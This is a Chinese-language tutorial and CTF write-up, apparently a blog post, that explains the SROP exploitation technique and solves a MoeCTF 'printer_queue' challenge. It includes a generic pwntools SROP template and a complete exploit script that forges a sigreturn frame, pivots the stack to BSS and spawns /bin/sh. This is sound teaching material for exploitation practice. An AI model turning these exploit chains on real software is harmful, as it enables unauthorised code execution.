PWN-SROP
原理解析
SROP(Sigreturn Oriented Programming,信号返回导向编程) 是一种二进制漏洞利用(Pwn)技术。
它利用了类 Unix 系统(如 Linux)中的信号(Signal)处理机制以及 sigreturn 系统调用,来达到任意代码执行或控制寄存器的目的。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:

SROP 的核心思想概括为一句话:利用内核恢复信号上下文的机制,一次性捏造并控制 CPU 的所有通用寄存器。
1. 信号处理与 sigreturn 机制
在 Linux 中,当进程收到一个信号(如 SIGSEGV、SIGINT)时:
- 保存上下文:内核会暂停当前程序,将当前所有寄存器的状态(称为
sigcontext/ucontext结构体)打包压入用户态栈中。 - 执行 Handler:内核把控制权交给信号处理函数(Signal Handler)。
- 恢复上下文(核心 point):处理结束后,程序会调用
sigreturn系统调用(系统调用号在 x86-64 上为15/0xf,x86 上为119)。内核接收到该系统调用后,会从当前栈顶读取刚才保存的结构体,并将其中的值直接覆盖写回 CPU 寄存器,然后恢复程序执行。
x64的关键结构体
struct sigcontext {
unsigned long r8;
unsigned long r9;
...
unsigned long rdi;
unsigned long rsi;
unsigned long rbp;
unsigned long rbx;
unsigned long rdx;
unsigned long rax;
unsigned long rcx;
unsigned long rsp;
unsigned long rip;
...
unsigned short cs;
unsigned short ss; // 注意:某些内核/环境对 cs/ss 有合法性校验
};
看看他两的区别吧
SROP和ret2dlresolve保存寄存器的机制区别
| 技术 | 谁在保存/恢复? | 存放在哪里? | 目的 |
|---|---|---|---|
| ret2dlresolve | 动态链接器(ld-linux.so 中的 _dl_runtime_resolve 汇编代码) | 用户态栈(通过 push 压栈) | 为了在解析符号时不破坏调用函数前的寄存器状态(传递参数用)。 |
| SROP | Linux 内核(Kernel) | 用户态栈(构建 ucontext / sigcontext 结构体) | 在中断/信号打断程序时,备份整个 CPU 的完整上下文,处理完信号后恢复。 |
| 维度 | SROP (Sigreturn Oriented Programming) | ret2dlresolve |
|---|---|---|
| 滥用的系统机制 | 内核层的信号恢复机制 (sys_rt_sigreturn) | 用户态动态链接器的延迟绑定机制 (_dl_runtime_resolve) |
| 解决的核心痛点 | 缺少通用寄存器 Gadget(如缺 pop rdi, pop rsi, pop rdx) | 没有 Libc 基址泄露(完全不知道函数在内存中的绝对地址) |
| 攻击目标 | 批量劫持 CPU 寄存器,直通系统调用 (syscall) | 欺骗链接器,直接解析并执行 Libc 动态库函数(如 system) |
| 关键前置条件 | 1. 存在 syscall; ret gadget 2. 能把 rax 控制为 15 (sys_rt_sigreturn) 3. 足够大的可控栈空间写入 Frame | 1. 启用了延迟绑定(No RELRO 或 Partial RELRO) 2. 存在可控且已知的内存区域(如可写 BSS 段)用于伪造重定位结构体 |
| 主要伪造的结构 | 内核态栈帧结构体 ucontext_t / sigcontext | ELF 符号解析结构体(.rel.plt / .rela.plt 的 Elf_Rel,以及 .dynsym 的 Elf_Sym、.dynstr 字符串) |
| 对防御的敏感度 | 受限于 seccomp 过滤策略(如果禁用了 execve / sigreturn 则受阻) | 受限于 Full RELRO(Full RELRO 下 GOT 表只读且加载期全部解析,延迟解析链条失效) |
ret2dlresolve 劫持的是:动态链接器的符号解析结构(ELF 动态符号表)
- 它利用的是懒加载机制(Lazy Binding)。
- 攻击者不需要控制
sigreturn或内核,而是通过伪造 ELF 的动态符号表数据结构(如.rel.plt/.rela.plt内部重定位表、.dynsym符号表、.dynstr字符串表)。 - 欺骗
_dl_fixup函数去解析并加载我们想要的函数(例如将read的符号解析重定向伪造为system)。 - 全程发生在用户态(
ld-linux.so是运行在用户态的动态链接器代码)。
SROP 劫持的是:内核恢复用户态上下文的机制(Kernel Frame Restoration)
- 它利用的是
sigreturn(系统调用号15)对栈数据的盲目信任。只要看到调用号为 15 的syscall,就无条件相信当前栈顶指向的就是合法 Frame。 - 攻击者在栈上直接伪造内核定义的
sigcontext/ucontext帧。 - 触发内核态到用户态的切换:调用
sigreturn(syscall)从用户态切入内核态;内核读取栈上伪造的帧,将其一次性覆盖写回 CPU 寄存器,然后再从内核态返回用户态继续运行。
2.攻击原理
漏洞本质:无状态与缺乏完整性校验
内核在执行 sigreturn 时是完全无状态(Stateless)且不进行完整性校验的:
- 内核本身并不在内核空间记录“我刚刚到底有没有给这个进程压入过 Signal Frame”。
- 内核不会对栈上的
Signal Frame计算校验和或进行签名。 - 内核的逻辑非常单纯:只要当前触发了
sigreturn系统调用,它就直接把当前$rsp指向的内存当成合法帧,原封不动地全部 pop 进物理寄存器。
如果程序本身存在栈溢出,攻击者就可以直接在栈上“手写”一份符合内核格式的伪造 Signal Frame。
通俗一点就是
1.Signal Frame先保存上下文环境(和ret2dlresolve中的dl_runtime函数一样)
2.执行信号处理函数
3.恢复相关的寄存器
4.继续执行用户程序。而在恢复寄存器环境时没有去校验这个栈是不是合法的,如果我们能够控制栈,就能在恢复上下文环 境这个环节直接设定相关寄存器的值。
用于在内核在恢复上下文的时候并没有与保存的上下文做对比,同时内核在恢复上下文时是从构造的Signal Frame中pop出来各个寄存器的值,而此时的Signal Frame是在栈里的并且用户是可读可写的。这两点疏忽就导致了我们可以伪造Signal Frame之后主动执行sigreturn来控制每个寄存器的值。
3.使用SROP的条件
- 首先程序必须存在溢出,能够控制返回地址。
- 可以去系统调用sigreturn(如果找不到合适的系统调用号,可以看看能不能利用read函数来控制RAX的值)
- 必须能够知道/bin/sh的地址,如果写的bss段,直接写地址就行,如果写到栈里,还需要想办法去泄露栈地址。
- 允许溢出的长度足够长,这样可以去布局我们想要的寄存器的值
- 需要知道syscall指令的地址
4.攻击流程
第一阶段(Stage 1):扩展可写空间并迁移栈(Stack Pivot)
由于初次溢出可能长度有限,或 BSS 段没有 "/bin/sh" 字符串:
控制 rax = 15,触发 sigreturn。
伪造 Frame 1:
- 目标系统调用:
sys_read(0, bss_addr, 0x400) rax = 0(sys_read)rdi = 0(stdin)rsi = bss_addrrdx = 0x400rsp = bss_addr(关键:将栈迁移到 BSS 段)rip = syscall_addr
执行后,程序暂停,等待向 bss_addr 读入新 payload。
第二阶段(Stage 2):触发 Get Shell
包含 "/bin/sh\x00" 字符串。
伪造 Frame 2:
rax = 59(sys_execve)rdi = &"/bin/sh"rsi = 0rdx = 0rip = syscall_addr
再次触发 sigreturn,内核解包后直接执行 execve("/bin/sh", NULL, NULL),拿到 Root/Shell。
5.攻击模板
from pwn import * context.arch = 'amd64' context.os = 'linux' # 1. 伪造 frame frame = SigreturnFrame() frame.rax = constants.SYS_execve frame.rdi = binsh_addr frame.rsi = 0 frame.rdx = 0 frame.rip = syscall_ret # 2. 构造攻击链 payload = b'A' * offset payload += p64(syscall_ret) # 触发 sigreturn (此时 rax 需预先置为 15) payload += bytes(frame) # 3. 发送 payload io.send(payload)
moectf2026-自助打印机
https://ctf.xidian.edu.cn/games/37/challenges?challenge=1383
0x01 程序结构分析

| 参数 | 参数描述 |
|---|---|
NX enable | shellcode使用汇编代码会失效,不具有X执行权限。那syscall汇编可以忽略了。 |
canary found | 栈开启了金丝雀保护,可能需要获取金丝雀的值进行栈溢出的绕出保护 |
| SHSTK | 影子栈保护开启,普通的写操作指令(如 mov、memcpy)无法向该内存区域写入,只有 call、ret 等特定控制流硬件指令或内核态专有指令才能操作。防御ROP |
0x02 函数分析
read_exact -> 0x401815
函数解释
强制从标准输入(stdin,文件描述符 0)读取指定长度(a2 字节)的数据,少读一个字节都不行;如果不满或出错,直接终止程序。

confirm_print_job -> 0x0401878
z
在这个函数中出现了栈溢出,0x30是可操控的溢出,不过得看看还有什么信息。NX开启了所以应该得进行栈迁移,不然也不够写ROP链子这些
main->0x04018A2


根据逻辑判断,这个v4输入1字节的数应该走到的是if语句里边,但是跑到了else。

在程序里边ASCII输入数字的值是31起步的,read_exact的逻辑是读取前两个字节,按照小端序规则填进栈中变量v4
输入的1 \n就导致了31 0a在程序显示的是 0x0a31超过了0x400,所以还得使用p16去发送字节
简单写一个脚本
from pwn import *
context(os = 'linux',arch = 'amd64')
r = process('./printer_queue')
r.recvuntil(b'[printer] Send print queue data:')
r.send(p16(0x1))
r.interactive()

说明判断成功了,继续分析
read_exact(&print_queue, v4);
print_queue地址指向的是bss段(0x04A9A80),发现这里具有超大的空间存储。说明payload需要写到这里进行执行


那这个程序的攻击流程可以定下来了。
这题没有libc文件,没有后门函数,ret2dlresolve缺乏.dynsym,那栈溢出只剩下SROP用法了
0x03 攻击流程

0x04 payload
from pwn import *
context(os = 'linux',arch = 'amd64')
r = process('./printer_queue')
# part1
r.recvuntil(b'[printer] Send print queue data:')
r.send(p16(0x200))
# part2
print_queue_addr = 0x04A9A80
bin_sh = print_queue_addr + 0x110
syscall = 0x40ba46
# execve('/bin/sh',0,0)
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = bin_sh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
frame.rsp = print_queue_addr + 0x400
pop_rax = 0x42149b
# call SigreturnFreme
payload = p64(pop_rax) # byte 8
payload += p64(15) # byte 8
payload += p64(syscall) # byte 8
payload += bytes(frame) # byte 248
payload += b'/bin/sh\x00' # byte 8
r.send(payload.ljust(0x200, b'\x00'))
# part 3
r.recvuntil(b'40-byte ticket:')
offset = 0x10 + 0x8
pop_rsp = 0x460668
payload2 = b'a'*offset + p64(pop_rsp) + p64(print_queue_addr)
r.send(payload2)
r.interactive()

评论区
评论加载中...